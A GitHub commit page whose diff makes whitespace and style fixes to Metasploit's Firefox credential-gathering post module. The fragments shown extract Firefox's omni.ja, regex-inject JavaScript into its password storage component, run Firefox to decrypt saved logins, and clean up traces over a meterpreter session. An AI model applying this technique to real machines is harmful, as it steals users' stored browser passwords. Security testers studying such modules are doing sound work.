Skip to content

Commit 8bfa5bc

Browse files
committed
Do some more minor code cleaning
1 parent ac49c80 commit 8bfa5bc

File tree

1 file changed

+21
-21
lines changed

1 file changed

+21
-21
lines changed

modules/post/multi/gather/firefox_creds.rb

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -426,11 +426,11 @@ def decrypt_get_env
426426
def decrypt_modify_omnija(zip)
427427
# Which files to extract from ja/zip
428428
files = [
429-
'components/storage-mozStorage.js', # stor_js
430-
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
431-
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
432-
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
433-
]
429+
'components/storage-mozStorage.js', # stor_js
430+
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
431+
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
432+
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
433+
]
434434

435435
# Extract files from zip
436436
arya = files.map do |omnija_file|
@@ -506,21 +506,21 @@ def decrypt_patch_method(stor_js)
506506
|
507507

508508
regex = [
509-
nil, # dirty hack alert
510-
[/return\slogins;/, method_epilog],
511-
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
512-
]
509+
nil, # dirty hack alert
510+
[/return\slogins;/, method_epilog],
511+
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
512+
]
513513

514514
# Match the last two regular expressions
515515
i = 2 # ...this is todo with the nil in the above regex array & regex command below
516516
x = i
517517
stor_js['content'].each_line do |line|
518518
# There is no real substitution if the matching regex has no corresponding patch code
519-
if i != 0 and line.sub!(regex[i][0]) do |match|
520-
if !regex[i][1].nil?
521-
vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
522-
regex[i][1]
523-
end
519+
if i != 0 && line.sub!(regex[i][0]) do |match|
520+
if regex[i][1]
521+
vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
522+
regex[i][1]
523+
end
524524
end # do |match|
525525
i -= 1
526526
end # if i != 0
@@ -604,7 +604,7 @@ def decrypt_trigger_decrypt(org_file, new_file, temp_file)
604604

605605
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
606606
print_status("Starting Firefox process to get #{whoami}'s credentials")
607-
cmd_exec(cmd,args)
607+
cmd_exec(cmd, args)
608608
sleep(1)
609609

610610
# Lets just check theres something before going forward
@@ -627,12 +627,12 @@ def decrypt_trigger_decrypt(org_file, new_file, temp_file)
627627
vprint_status("Cleaning up: #{new_file}")
628628
file_rm(new_file)
629629
if session.type == "meterpreter"
630-
if session.fs.file.exists?(temp_file)
631-
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
632-
end
633-
if !session.fs.file.exists?(org_file)
634-
print_error("Unable to find #{org_file} on target. Something went wrong.")
635-
end
630+
if session.fs.file.exists?(temp_file)
631+
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
632+
end
633+
unless session.fs.file.exists?(org_file)
634+
print_error("Unable to find #{org_file} on target. Something went wrong.")
635+
end
636636
end # session.type == "meterpreter"
637637

638638
# At this time, there should have a loot file

0 commit comments

Comments
 (0)